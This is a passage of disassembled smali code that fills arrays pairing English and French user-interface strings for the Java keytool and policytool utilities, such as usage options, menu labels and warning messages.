                                                                              1593const-string v3, "\t [-srcprovidername <srcprovidername>]\n\t [-destprovidername <destprovidername>]"
                                                                              1594aput-object v3, v2, v5
                                                                              1595aput-object v2, v0, v1
                                                                              1596const/16 v1, 0xb1
                                                                              1597new-array v2, v6, [Ljava/lang/Object;
                                                                              1599const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1600aput-object v3, v2, v4
                                                                              1602const-string v3, "\t [-srcalias <srcalias> [-destalias <destalias>]"
                                                                              1603aput-object v3, v2, v5
                                                                              1604aput-object v2, v0, v1
                                                                              1605const/16 v1, 0xb2
                                                                              1606new-array v2, v6, [Ljava/lang/Object;
                                                                              1608const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1609aput-object v3, v2, v4
                                                                              1611const-string v3, "\t [-srckeypass <srckeypass>] [-destkeypass <destkeypass>]]"
                                                                              1612aput-object v3, v2, v5
                                                                              1613aput-object v2, v0, v1
                                                                              1614const/16 v1, 0xb3
                                                                              1615new-array v2, v6, [Ljava/lang/Object;
                                                                              1617const-string v3, "\t [-noprompt]"
                                                                              1618aput-object v3, v2, v4
                                                                              1620const-string v3, "\t [-noprompt]"
                                                                              1621aput-object v3, v2, v5
                                                                              1622aput-object v2, v0, v1
                                                                              1623const/16 v1, 0xb4
                                                                              1624new-array v2, v6, [Ljava/lang/Object;
                                                                              1626const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1627aput-object v3, v2, v4
                                                                              1629const-string v3, "-changealias [-v] [-protected] -alias <alias> -destalias <destalias>"
                                                                              1630aput-object v3, v2, v5
                                                                              1631aput-object v2, v0, v1
                                                                              1632const/16 v1, 0xb5
                                                                              1633new-array v2, v6, [Ljava/lang/Object;
                                                                              1635const-string v3, "\t [-keypass <keypass>]"
                                                                              1636aput-object v3, v2, v4
                                                                              1638const-string v3, "\t [-keypass <keypass>]"
                                                                              1639aput-object v3, v2, v5
                                                                              1640aput-object v2, v0, v1
                                                                              1641const/16 v1, 0xb6
                                                                              1642new-array v2, v6, [Ljava/lang/Object;
                                                                              1644const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1645aput-object v3, v2, v4
                                                                              1647const-string v3, "-keypasswd [-v] [-alias <alias>]"
                                                                              1648aput-object v3, v2, v5
                                                                              1649aput-object v2, v0, v1
                                                                              1650const/16 v1, 0xb7
                                                                              1651new-array v2, v6, [Ljava/lang/Object;
                                                                              1653const-string v3, "\t [-keypass <old_keypass>] [-new <new_keypass>]"
                                                                              1654aput-object v3, v2, v4
                                                                              1656const-string v3, "\t [-keypass <ancien_mot_passe_cl\u00e9>] [-new <nouveau_mot_passe_cl\u00e9>]"
                                                                              1657aput-object v3, v2, v5
                                                                              1658aput-object v2, v0, v1
                                                                              1659const/16 v1, 0xb8
                                                                              1660new-array v2, v6, [Ljava/lang/Object;
                                                                              1662const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1663aput-object v3, v2, v4
                                                                              1665const-string v3, "-list [-v | -rfc] [-protected]"
                                                                              1666aput-object v3, v2, v5
                                                                              1667aput-object v2, v0, v1
                                                                              1668const/16 v1, 0xb9
                                                                              1669new-array v2, v6, [Ljava/lang/Object;
                                                                              1671const-string v3, "\t [-alias <alias>]"
                                                                              1672aput-object v3, v2, v4
                                                                              1674const-string v3, "\t [-alias <alias>]"
                                                                              1675aput-object v3, v2, v5
                                                                              1676aput-object v2, v0, v1
                                                                              1677const/16 v1, 0xba
                                                                              1678new-array v2, v6, [Ljava/lang/Object;
                                                                              1680const-string v3, "-printcert [-v] [-file <cert_file>]"
                                                                              1681aput-object v3, v2, v4
                                                                              1683const-string v3, "-printcert [-v] [-file <fichier_cert>]"
                                                                              1684aput-object v3, v2, v5
                                                                              1685aput-object v2, v0, v1
                                                                              1686const/16 v1, 0xbb
                                                                              1687new-array v2, v6, [Ljava/lang/Object;
                                                                              1689const-string v3, "\t [-alias <alias>]"
                                                                              1690aput-object v3, v2, v4
                                                                              1692const-string v3, "\t [-alias <alias>]"
                                                                              1693aput-object v3, v2, v5
                                                                              1694aput-object v2, v0, v1
                                                                              1695const/16 v1, 0xbc
                                                                              1696new-array v2, v6, [Ljava/lang/Object;
                                                                              1698const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1699aput-object v3, v2, v4
                                                                              1701const-string v3, "-storepasswd [-v] [-new <new_storepass>]"
                                                                              1702aput-object v3, v2, v5
                                                                              1703aput-object v2, v0, v1
                                                                              1704const/16 v1, 0xbd
                                                                              1705new-array v2, v6, [Ljava/lang/Object;
                                                                              1707const-string v3, "Warning: A public key for alias \'signers[i]\' does not exist. Make sure a KeyStore is properly configured."
                                                                              1708aput-object v3, v2, v4
                                                                              1710const-string v3, "Avertissement\u00a0: il n\'existe pas de cl\u00e9 publique pour l\'alias {0}. V\u00e9rifiez que le keystore est correctement configur\u00e9."
                                                                              1711aput-object v3, v2, v5
                                                                              1712aput-object v2, v0, v1
                                                                              1713const/16 v1, 0xbe
                                                                              1714new-array v2, v6, [Ljava/lang/Object;
                                                                              1716const-string v3, "Warning: Class not found: class"
                                                                              1717aput-object v3, v2, v4
                                                                              1719const-string v3, "Avertissement : Classe introuvable : {0}"
                                                                              1720aput-object v3, v2, v5
                                                                              1721aput-object v2, v0, v1
                                                                              1722const/16 v1, 0xbf
                                                                              1723new-array v2, v6, [Ljava/lang/Object;
                                                                              1725const-string v3, "Warning: Invalid argument(s) for constructor: arg"
                                                                              1726aput-object v3, v2, v4
                                                                              1728const-string v3, "Avertissement\u00a0: argument(s) non valide(s) pour le constructeur\u00a0: {0}"
                                                                              1729aput-object v3, v2, v5
                                                                              1730aput-object v2, v0, v1
                                                                              1731const/16 v1, 0xc0
                                                                              1732new-array v2, v6, [Ljava/lang/Object;
                                                                              1734const-string v3, "Illegal Principal Type: type"
                                                                              1735aput-object v3, v2, v4
                                                                              1737const-string v3, "Type de mandant non admis : {0}"
                                                                              1738aput-object v3, v2, v5
                                                                              1739aput-object v2, v0, v1
                                                                              1740const/16 v1, 0xc1
                                                                              1741new-array v2, v6, [Ljava/lang/Object;
                                                                              1743const-string v3, "Illegal option: option"
                                                                              1744aput-object v3, v2, v4
                                                                              1746const-string v3, "Option non admise : {0}"
                                                                              1747aput-object v3, v2, v5
                                                                              1748aput-object v2, v0, v1
                                                                              1749const/16 v1, 0xc2
                                                                              1750new-array v2, v6, [Ljava/lang/Object;
                                                                              1752const-string v3, "Usage: policytool [options]"
                                                                              1753aput-object v3, v2, v4
                                                                              1755const-string v3, "Syntaxe : policytool [options]"
                                                                              1756aput-object v3, v2, v5
                                                                              1757aput-object v2, v0, v1
                                                                              1758const/16 v1, 0xc3
                                                                              1759new-array v2, v6, [Ljava/lang/Object;
                                                                              1761const-string v3, " [-file <file>] policy file location"
                                                                              1762aput-object v3, v2, v4
                                                                              1764const-string v3, " [-file <fichier>] emplacement du fichier de r\u00e8gles"
                                                                              1765aput-object v3, v2, v5
                                                                              1766aput-object v2, v0, v1
                                                                              1767const/16 v1, 0xc4
                                                                              1768new-array v2, v6, [Ljava/lang/Object;
                                                                              1770const-string v3, "New"
                                                                              1771aput-object v3, v2, v4
                                                                              1773const-string v3, "Nouveau"
                                                                              1774aput-object v3, v2, v5
                                                                              1775aput-object v2, v0, v1
                                                                              1776const/16 v1, 0xc5
                                                                              1777new-array v2, v6, [Ljava/lang/Object;
                                                                              1779const-string v3, "Open"
                                                                              1780aput-object v3, v2, v4
                                                                              1782const-string v3, "Ouvrir"
                                                                              1783aput-object v3, v2, v5
                                                                              1784aput-object v2, v0, v1
                                                                              1785const/16 v1, 0xc6
                                                                              1786new-array v2, v6, [Ljava/lang/Object;
                                                                              1788const-string v3, "Save"
                                                                              1789aput-object v3, v2, v4
                                                                              1791const-string v3, "Enregistrer"
                                                                              1792aput-object v3, v2, v5
                                                                              1793aput-object v2, v0, v1
                                                                              1794const/16 v1, 0xc7
                                                                              1795new-array v2, v6, [Ljava/lang/Object;
                                                                              1797const-string v3, "Save As"
                                                                              1798aput-object v3, v2, v4
                                                                              1800const-string v3, "Enregistrer sous"
                                                                              1801aput-object v3, v2, v5
                                                                              1802aput-object v2, v0, v1
                                                                              1803const/16 v1, 0xc8
                                                                              1804new-array v2, v6, [Ljava/lang/Object;
                                                                              1806const-string v3, "View Warning Log"
                                                                              1807aput-object v3, v2, v4
                                                                              1809const-string v3, "Afficher le journal des avertissements"
                                                                              1810aput-object v3, v2, v5
                                                                              1811aput-object v2, v0, v1
                                                                              1812const/16 v1, 0xc9
                                                                              1813new-array v2, v6, [Ljava/lang/Object;
                                                                              1815const-string v3, "Exit"
                                                                              1816aput-object v3, v2, v4
                                                                              1818const-string v3, "Quitter"
                                                                              1819aput-object v3, v2, v5
                                                                              1820aput-object v2, v0, v1
                                                                              1821const/16 v1, 0xca
                                                                              1822new-array v2, v6, [Ljava/lang/Object;
                                                                              1824const-string v3, "Add Policy Entry"
                                                                              1825aput-object v3, v2, v4
                                                                              1827const-string v3, "Ajouter une r\u00e8gle"
                                                                              1828aput-object v3, v2, v5
                                                                              1829aput-object v2, v0, v1
                                                                              1830const/16 v1, 0xcb
                                                                              1831new-array v2, v6, [Ljava/lang/Object;
                                                                              1833const-string v3, "Edit Policy Entry"
                                                                              1834aput-object v3, v2, v4
                                                                              1836const-string v3, "Modifier une r\u00e8gle"
                                                                              1837aput-object v3, v2, v5
                                                                              1838aput-object v2, v0, v1
                                                                              1839const/16 v1, 0xcc
                                                                              1840new-array v2, v6, [Ljava/lang/Object;
                                                                              1842const-string v3, "Remove Policy Entry"
                                                                              1843aput-object v3, v2, v4
                                                                              1845const-string v3, "Supprimer une r\u00e8gle"
                                                                              1846aput-object v3, v2, v5
                                                                              1847aput-object v2, v0, v1
                                                                              1848const/16 v1, 0xcd
                                                                              1849new-array v2, v6, [Ljava/lang/Object;
                                                                              1851const-string v3, "Edit"
                                                                              1852aput-object v3, v2, v4
                                                                              1854const-string v3, "Edition"
                                                                              1855aput-object v3, v2, v5
                                                                              1856aput-object v2, v0, v1
                                                                              1857const/16 v1, 0xce
                                                                              1858new-array v2, v6, [Ljava/lang/Object;
                                                                              1860const-string v3, "Retain"
                                                                              1861aput-object v3, v2, v4
                                                                              1863const-string v3, "Conserver"
                                                                              1864aput-object v3, v2, v5
                                                                              1865aput-object v2, v0, v1
                                                                              1866const/16 v1, 0xcf
                                                                              1867new-array v2, v6, [Ljava/lang/Object;
                                                                              1869const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1870aput-object v3, v2, v4
                                                                              1872const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1873aput-object v3, v2, v5
                                                                              1874aput-object v2, v0, v1
                                                                              1875const/16 v1, 0xd0
                                                                              1876new-array v2, v6, [Ljava/lang/Object;
                                                                              1878const-string v3, "Add Public Key Alias"
                                                                              1879aput-object v3, v2, v4
                                                                              1881const-string v3, "Ajouter un alias de cl\u00e9 publique"
                                                                              1882aput-object v3, v2, v5
                                                                              1883aput-object v2, v0, v1
                                                                              1884const/16 v1, 0xd1
                                                                              1885new-array v2, v6, [Ljava/lang/Object;
                                                                              1887const-string v3, "Remove Public Key Alias"
                                                                              1888aput-object v3, v2, v4
                                                                              1890const-string v3, "Supprimer un alias de cl\u00e9 publique"
                                                                              1891aput-object v3, v2, v5
                                                                              1892aput-object v2, v0, v1
                                                                              1893const/16 v1, 0xd2
                                                                              1894new-array v2, v6, [Ljava/lang/Object;
                                                                              1896const-string v3, "File"
                                                                              1897aput-object v3, v2, v4
                                                                              1899const-string v3, "Fichier"
                                                                              1900aput-object v3, v2, v5
                                                                              1901aput-object v2, v0, v1
                                                                              1902const/16 v1, 0xd3
                                                                              1903new-array v2, v6, [Ljava/lang/Object;
                                                                              1905const-string v3, "KeyStore"
                                                                              1906aput-object v3, v2, v4
                                                                              1908const-string v3, "KeyStore"
                                                                              1909aput-object v3, v2, v5
                                                                              1910aput-object v2, v0, v1
                                                                              1911const/16 v1, 0xd4
                                                                              1912new-array v2, v6, [Ljava/lang/Object;
                                                                              1914const-string v3, "Policy File:"
                                                                              1915aput-object v3, v2, v4
                                                                              1917const-string v3, "Fichier de r\u00e8gles :"
                                                                              1918aput-object v3, v2, v5
                                                                              1919aput-object v2, v0, v1
                                                                              1920const/16 v1, 0xd5
                                                                              1921new-array v2, v6, [Ljava/lang/Object;
                                                                              1923const-string v3, "Could not open policy file: policyFile: e.toString()"
                                                                              1924aput-object v3, v2, v4
                                                                              1926const-string v3, "Impossible d\'ouvrir le fichier de strat\u00e9gie\u00a0: {0}: {1}"
                                                                              1927aput-object v3, v2, v5
                                                                              1928aput-object v2, v0, v1
                                                                              1929const/16 v1, 0xd6
                                                                              1930new-array v2, v6, [Ljava/lang/Object;
                                                                              1932const-string v3, "Policy Tool"
                                                                              1933aput-object v3, v2, v4
                                                                              1935const-string v3, "Policy Tool"
                                                                              1936aput-object v3, v2, v5
                                                                              1937aput-object v2, v0, v1
                                                                              1938const/16 v1, 0xd7
                                                                              1939new-array v2, v6, [Ljava/lang/Object;
                                                                              1941const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1942aput-object v3, v2, v4
                                                                              1944const-string v3, "Des erreurs se sont produites \u00e0 l\'ouverture de la configuration de r\u00e8gles. Consultez le journal des avertissements pour obtenir des informations."
                                                                              1945aput-object v3, v2, v5
                                                                              1946aput-object v2, v0, v1
                                                                              1947const/16 v1, 0xd8
                                                                              1948new-array v2, v6, [Ljava/lang/Object;
                                                                              1950const-string v3, "Error"
                                                                              1951aput-object v3, v2, v4
                                                                              1953const-string v3, "Erreur"
                                                                              1954aput-object v3, v2, v5
                                                                              1955aput-object v2, v0, v1
                                                                              1956const/16 v1, 0xd9
                                                                              1957new-array v2, v6, [Ljava/lang/Object;
                                                                              1959const-string v3, "OK"
                                                                              1960aput-object v3, v2, v4
                                                                              1962const-string v3, "OK"
                                                                              1963aput-object v3, v2, v5
                                                                              1964aput-object v2, v0, v1
                                                                              1965const/16 v1, 0xda
                                                                              1966new-array v2, v6, [Ljava/lang/Object;
                                                                              1968const-string v3, "Status"
                                                                              1969aput-object v3, v2, v4
                                                                              1971const-string v3, "\u00c9tat"
                                                                              1972aput-object v3, v2, v5
                                                                              1973aput-object v2, v0, v1
                                                                              1974const/16 v1, 0xdb
                                                                              1975new-array v2, v6, [Ljava/lang/Object;
                                                                              1977const-string v3, "Warning"
                                                                              1978aput-object v3, v2, v4
                                                                              1980const-string v3, "Avertissement"
                                                                              1981aput-object v3, v2, v5
                                                                              1982aput-object v2, v0, v1
                                                                              1983const/16 v1, 0xdc
                                                                              1984new-array v2, v6, [Ljava/lang/Object;
                                                                              1986const-string v3, "Permission: "
                                                                              1987aput-object v3, v2, v4
                                                                              1989const-string v3, "Permission : "
                                                                              1990aput-object v3, v2, v5
                                                                              1991aput-object v2, v0, v1
                                                                              1992const/16 v1, 0xdd
                                                                              1993new-array v2, v6, [Ljava/lang/Object;
                                                                              1995const-string v3, "Principal Type:"
                                                                              1996aput-object v3, v2, v4
                                                                              1998const-string v3, "Type de principal :"
                                                                              1999aput-object v3, v2, v5
                                                                              2000aput-object v2, v0, v1
                                                                              2001const/16 v1, 0xde
                                                                              2002new-array v2, v6, [Ljava/lang/Object;
                                                                              2004const-string v3, "Principal Name:"
                                                                              2005aput-object v3, v2, v4
                                                                              2007const-string v3, "Nom de principal :"
                                                                              2008aput-object v3, v2, v5
                                                                              2009aput-object v2, v0, v1
                                                                              2010const/16 v1, 0xdf
                                                                              2011new-array v2, v6, [Ljava/lang/Object;
                                                                              2013const-string v3, "Target Name: "
                                                                              2014aput-object v3, v2, v4
                                                                              2016const-string v3, "Nom de cible : "
                                                                              2017aput-object v3, v2, v5
                                                                              2018aput-object v2, v0, v1
                                                                              2019const/16 v1, 0xe0
                                                                              2020new-array v2, v6, [Ljava/lang/Object;
                                                                              2022const-string v3, "Actions: "
                                                                              2023aput-object v3, v2, v4
                                                                              2025const-string v3, "Actions : "
                                                                              2026aput-object v3, v2, v5
                                                                              2027aput-object v2, v0, v1
                                                                              2028const/16 v1, 0xe1
                                                                              2029new-array v2, v6, [Ljava/lang/Object;
                                                                              2031const-string v3, "OK to overwrite existing file filename?"
                                                                              2032aput-object v3, v2, v4
                                                                              2034const-string v3, "Remplacer le fichier existant {0} ?"
                                                                              2035aput-object v3, v2, v5
                                                                              2036aput-object v2, v0, v1
                                                                              2037const/16 v1, 0xe2
                                                                              2038new-array v2, v6, [Ljava/lang/Object;
                                                                              2040const-string v3, "Cancel"
                                                                              2041aput-object v3, v2, v4
                                                                              2043const-string v3, "Annuler"
                                                                              2044aput-object v3, v2, v5
                                                                              2045aput-object v2, v0, v1
                                                                              2046const/16 v1, 0xe3
                                                                              2047new-array v2, v6, [Ljava/lang/Object;
                                                                              2049const-string v3, "CodeBase:"
                                                                              2050aput-object v3, v2, v4
                                                                              2052const-string v3, "Base de code :"
                                                                              2053aput-object v3, v2, v5
                                                                              2054aput-object v2, v0, v1
                                                                              2055const/16 v1, 0xe4
                                                                              2056new-array v2, v6, [Ljava/lang/Object;
                                                                              2058const-string v3, "SignedBy:"
                                                                              2059aput-object v3, v2, v4
                                                                              2061const-string v3, "Sign\u00e9 par :"
                                                                              2062aput-object v3, v2, v5
                                                                              2063aput-object v2, v0, v1
                                                                              2064const/16 v1, 0xe5
                                                                              2065new-array v2, v6, [Ljava/lang/Object;
                                                                              2067const-string v3, "Add Principal"
                                                                              2068aput-object v3, v2, v4
                                                                              2070const-string v3, "Ajouter un principal"
                                                                              2071aput-object v3, v2, v5
                                                                              2072aput-object v2, v0, v1
                                                                              2073const/16 v1, 0xe6
                                                                              2074new-array v2, v6, [Ljava/lang/Object;
                                                                              2076const-string v3, "Edit Principal"
                                                                              2077aput-object v3, v2, v4
                                                                              2079const-string v3, "Modifier un principal"
                                                                              2080aput-object v3, v2, v5
                                                                              2081aput-object v2, v0, v1
                                                                              2082const/16 v1, 0xe7
                                                                              2083new-array v2, v6, [Ljava/lang/Object;
                                                                              2085const-string v3, "Remove Principal"
                                                                              2086aput-object v3, v2, v4
                                                                              2088const-string v3, "Supprimer un principal"
                                                                              2089aput-object v3, v2, v5
                                                                              2090aput-object v2, v0, v1
                                                                              2091const/16 v1, 0xe8
                                                                              2092new-array v2, v6, [Ljava/lang/Object;
                                                                              2094const-string v3, "Principals:"
                                                                              2095aput-object v3, v2, v4
                                                                              2097const-string v3, "Principaux :"
                                                                              2098aput-object v3, v2, v5
                                                                              2099aput-object v2, v0, v1
                                                                              2100const/16 v1, 0xe9
                                                                              2101new-array v2, v6, [Ljava/lang/Object;
                                                                              2103const-string v3, " Add Permission"
                                                                              2104aput-object v3, v2, v4
                                                                              2106const-string v3, " Ajouter une permission"
                                                                              2107aput-object v3, v2, v5
                                                                              2108aput-object v2, v0, v1
                                                                              2109const/16 v1, 0xea
                                                                              2110new-array v2, v6, [Ljava/lang/Object;
                                                                              2112const-string v3, " Edit Permission"
                                                                              2113aput-object v3, v2, v4
                                                                              2115const-string v3, " Modifier une permission"
                                                                              2116aput-object v3, v2, v5
                                                                              2117aput-object v2, v0, v1
                                                                              2118const/16 v1, 0xeb
                                                                              2119new-array v2, v6, [Ljava/lang/Object;
                                                                              2121const-string v3, "Remove Permission"
                                                                              2122aput-object v3, v2, v4
                                                                              2124const-string v3, "Supprimer une permission"
                                                                              2125aput-object v3, v2, v5
                                                                              2126aput-object v2, v0, v1
                                                                              2127const/16 v1, 0xec
                                                                              2128new-array v2, v6, [Ljava/lang/Object;
                                                                              2130const-string v3, "Done"
                                                                              2131aput-object v3, v2, v4
                                                                              2133const-string v3, "Termin\u00e9"
                                                                              2134aput-object v3, v2, v5
                                                                              2135aput-object v2, v0, v1
                                                                              2136const/16 v1, 0xed
                                                                              2137new-array v2, v6, [Ljava/lang/Object;
                                                                              2139const-string v3, "KeyStore URL:"
                                                                              2140aput-object v3, v2, v4
                                                                              2142const-string v3, "URL du KeyStore :"
                                                                              2143aput-object v3, v2, v5
                                                                              2144aput-object v2, v0, v1
                                                                              2145const/16 v1, 0xee
                                                                              2146new-array v2, v6, [Ljava/lang/Object;
                                                                              2148const-string v3, "KeyStore Type:"
                                                                              2149aput-object v3, v2, v4
                                                                              2151const-string v3, "Type de KeyStore :"
                                                                              2152aput-object v3, v2, v5
                                                                              2153aput-object v2, v0, v1
                                                                              2154const/16 v1, 0xef
                                                                              2155new-array v2, v6, [Ljava/lang/Object;
                                                                              2157const-string v3, "KeyStore Provider:"
                                                                              2158aput-object v3, v2, v4
                                                                              2160const-string v3, "Fournisseur du KeyStore :"
                                                                              2161aput-object v3, v2, v5
                                                                              2162aput-object v2, v0, v1
                                                                              2163const/16 v1, 0xf0
                                                                              2164new-array v2, v6, [Ljava/lang/Object;
                                                                              2166const-string v3, "KeyStore Password URL:"
                                                                              2167aput-object v3, v2, v4
                                                                              2169const-string v3, "URL du mot de passe du KeyStore :"
                                                                              2170aput-object v3, v2, v5
                                                                              2171aput-object v2, v0, v1
                                                                              2172const/16 v1, 0xf1
                                                                              2173new-array v2, v6, [Ljava/lang/Object;
                                                                              2175const-string v3, "Principals"
                                                                              2176aput-object v3, v2, v4
                                                                              2178const-string v3, "Principaux"
                                                                              2179aput-object v3, v2, v5
                                                                              2180aput-object v2, v0, v1
                                                                              2181const/16 v1, 0xf2
                                                                              2182new-array v2, v6, [Ljava/lang/Object;
                                                                              2184const-string v3, " Edit Principal:"
                                                                              2185aput-object v3, v2, v4
                                                                              2187const-string v3, " Modifier un principal :"
                                                                              2188aput-object v3, v2, v5
                                                                              2189aput-object v2, v0, v1
                                                                              2190const/16 v1, 0xf3
                                                                              2191new-array v2, v6, [Ljava/lang/Object;
                                                                              2193const-string v3, " Add New Principal:"
                                                                              2194aput-object v3, v2, v4
                                                                              2196const-string v3, " Ajouter un principal :"
                                                                              2197aput-object v3, v2, v5
                                                                              2198aput-object v2, v0, v1
                                                                              2199const/16 v1, 0xf4
                                                                              2200new-array v2, v6, [Ljava/lang/Object;
                                                                              2202const-string v3, "Permissions"
                                                                              2203aput-object v3, v2, v4
                                                                              2205const-string v3, "Permissions"
                                                                              2206aput-object v3, v2, v5
                                                                              2207aput-object v2, v0, v1
                                                                              2208const/16 v1, 0xf5
                                                                              2209new-array v2, v6, [Ljava/lang/Object;
                                                                              2211const-string v3, " Edit Permission:"
                                                                              2212aput-object v3, v2, v4
                                                                              2214const-string v3, " Modifier une permission :"
                                                                              2215aput-object v3, v2, v5
                                                                              2216aput-object v2, v0, v1
                                                                              2217const/16 v1, 0xf6
                                                                              2218new-array v2, v6, [Ljava/lang/Object;
                                                                              2220const-string v3, " Add New Permission:"
                                                                              2221aput-object v3, v2, v4
                                                                              2223const-string v3, " Ajouter une permission :"
                                                                              2224aput-object v3, v2, v5
                                                                              2225aput-object v2, v0, v1
                                                                              2226const/16 v1, 0xf7
                                                                              2227new-array v2, v6, [Ljava/lang/Object;
                                                                              2229const-string v3, "Signed By:"
                                                                              2230aput-object v3, v2, v4
                                                                              2232const-string v3, "Sign\u00e9 par :"
                                                                              2233aput-object v3, v2, v5
                                                                              2234aput-object v2, v0, v1
                                                                              2235const/16 v1, 0xf8
                                                                              2236new-array v2, v6, [Ljava/lang/Object;
                                                                              2238const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2239aput-object v3, v2, v4
                                                                              2241const-string v3, "Impossible de sp\u00e9cifier un principal avec une classe g\u00e9n\u00e9rique sans nom de g\u00e9n\u00e9rique"
                                                                              2242aput-object v3, v2, v5
                                                                              2243aput-object v2, v0, v1
                                                                              2244const/16 v1, 0xf9
                                                                              2245new-array v2, v6, [Ljava/lang/Object;
                                                                              2247const-string v3, "Cannot Specify Principal without a Name"
                                                                              2248aput-object v3, v2, v4
                                                                              2250const-string v3, "Impossible de sp\u00e9cifier un principal sans nom"
                                                                              2251aput-object v3, v2, v5
                                                                              2252aput-object v2, v0, v1
                                                                              2253const/16 v1, 0xfa
                                                                              2254new-array v2, v6, [Ljava/lang/Object;
                                                                              2256const-string v3, "Permission and Target Name must have a value"
                                                                              2257aput-object v3, v2, v4
                                                                              2259const-string v3, "La permission et le nom de cible doivent avoir une valeur"
                                                                              2260aput-object v3, v2, v5
                                                                              2261aput-object v2, v0, v1
                                                                              2262const/16 v1, 0xfb
                                                                              2263new-array v2, v6, [Ljava/lang/Object;
                                                                              2265const-string v3, "Remove this Policy Entry?"
                                                                              2266aput-object v3, v2, v4
                                                                              2268const-string v3, "Supprimer cette r\u00e8gle ?"
                                                                              2269aput-object v3, v2, v5
                                                                              2270aput-object v2, v0, v1
                                                                              2271const/16 v1, 0xfc
                                                                              2272new-array v2, v6, [Ljava/lang/Object;
                                                                              2274const-string v3, "Overwrite File"
                                                                              2275aput-object v3, v2, v4
                                                                              2277const-string v3, "Remplacer le fichier"
                                                                              2278aput-object v3, v2, v5
                                                                              2279aput-object v2, v0, v1
                                                                              2280const/16 v1, 0xfd
                                                                              2281new-array v2, v6, [Ljava/lang/Object;
                                                                              2283const-string v3, "Policy successfully written to filename"
                                                                              2284aput-object v3, v2, v4
                                                                              2286const-string v3, "R\u00e8gle enregistr\u00e9e dans {0}"
                                                                              2287aput-object v3, v2, v5
                                                                              2288aput-object v2, v0, v1
                                                                              2289const/16 v1, 0xfe
                                                                              2290new-array v2, v6, [Ljava/lang/Object;
                                                                              2292const-string v3, "null filename"
                                                                              2293aput-object v3, v2, v4
                                                                              2295const-string v3, "Nom Null de fichier"
                                                                              2296aput-object v3, v2, v5
                                                                              2297aput-object v2, v0, v1
                                                                              2298const/16 v1, 0xff
                                                                              2299new-array v2, v6, [Ljava/lang/Object;
                                                                              2301const-string v3, "Save changes?"
                                                                              2302aput-object v3, v2, v4
                                                                              2304const-string v3, "Enregistrer les modifications ?"
                                                                              2305aput-object v3, v2, v5
                                                                              2306aput-object v2, v0, v1
                                                                              2307const/16 v1, 0x100
                                                                              2308new-array v2, v6, [Ljava/lang/Object;
                                                                              2310const-string v3, "Yes"
                                                                              2311aput-object v3, v2, v4
                                                                              2313const-string v3, "Oui"
                                                                              2314aput-object v3, v2, v5
                                                                              2315aput-object v2, v0, v1
                                                                              2316const/16 v1, 0x101
                                                                              2317new-array v2, v6, [Ljava/lang/Object;
                                                                              2319const-string v3, "No"
                                                                              2320aput-object v3, v2, v4
                                                                              2322const-string v3, "Non"
                                                                              2323aput-object v3, v2, v5
                                                                              2324aput-object v2, v0, v1
                                                                              2325const/16 v1, 0x102
                                                                              2326new-array v2, v6, [Ljava/lang/Object;
                                                                              2328const-string v3, "Policy Entry"
                                                                              2329aput-object v3, v2, v4
                                                                              2331const-string v3, "R\u00e8gle"
                                                                              2332aput-object v3, v2, v5
                                                                              2333aput-object v2, v0, v1
                                                                              2334const/16 v1, 0x103
                                                                              2335new-array v2, v6, [Ljava/lang/Object;
                                                                              2337const-string v3, "Save Changes"
                                                                              2338aput-object v3, v2, v4
                                                                              2340const-string v3, "Enregistrer les changements"
                                                                              2341aput-object v3, v2, v5
                                                                              2342aput-object v2, v0, v1
                                                                              2343const/16 v1, 0x104
                                                                              2344new-array v2, v6, [Ljava/lang/Object;
                                                                              2346const-string v3, "No Policy Entry selected"
                                                                              2347aput-object v3, v2, v4
                                                                              2349const-string v3, "Aucune r\u00e8gle s\u00e9lectionn\u00e9e"
                                                                              2350aput-object v3, v2, v5
                                                                              2351aput-object v2, v0, v1
                                                                              2352const/16 v1, 0x105
                                                                              2353new-array v2, v6, [Ljava/lang/Object;
                                                                              2355const-string v3, "Unable to open KeyStore: ex.toString()"
                                                                              2356aput-object v3, v2, v4
                                                                              2358const-string v3, "Impossible d\'ouvrir le keystore\u00a0: {0}"
                                                                              2359aput-object v3, v2, v5
                                                                              2360aput-object v2, v0, v1
                                                                              2361const/16 v1, 0x106
                                                                              2362new-array v2, v6, [Ljava/lang/Object;
                                                                              2364const-string v3, "No principal selected"
                                                                              2365aput-object v3, v2, v4
                                                                              2367const-string v3, "Aucun principal s\u00e9lectionn\u00e9"
                                                                              2368aput-object v3, v2, v5
                                                                              2369aput-object v2, v0, v1
                                                                              2370const/16 v1, 0x107
                                                                              2371new-array v2, v6, [Ljava/lang/Object;
                                                                              2373const-string v3, "No permission selected"
                                                                              2374aput-object v3, v2, v4
                                                                              2376const-string v3, "Aucune permission s\u00e9lectionn\u00e9e"
                                                                              2377aput-object v3, v2, v5
                                                                              2378aput-object v2, v0, v1
                                                                              2379const/16 v1, 0x108
                                                                              2380new-array v2, v6, [Ljava/lang/Object;
                                                                              2382const-string v3, "name"
                                                                              2383aput-object v3, v2, v4
                                                                              2385const-string v3, "nom"
                                                                              2386aput-object v3, v2, v5
                                                                              2387aput-object v2, v0, v1
                                                                              2388const/16 v1, 0x109
                                                                              2389new-array v2, v6, [Ljava/lang/Object;
                                                                              2391const-string v3, "configuration type"
                                                                              2392aput-object v3, v2, v4
                                                                              2394const-string v3, "type de configuration"
                                                                              2395aput-object v3, v2, v5
                                                                              2396aput-object v2, v0, v1
                                                                              2397const/16 v1, 0x10a
                                                                              2398new-array v2, v6, [Ljava/lang/Object;
                                                                              2400const-string v3, "environment variable name"
                                                                              2401aput-object v3, v2, v4
                                                                              2403const-string v3, "Nom variable de l\'environnement"
                                                                              2404aput-object v3, v2, v5
                                                                              2405aput-object v2, v0, v1
                                                                              2406const/16 v1, 0x10b
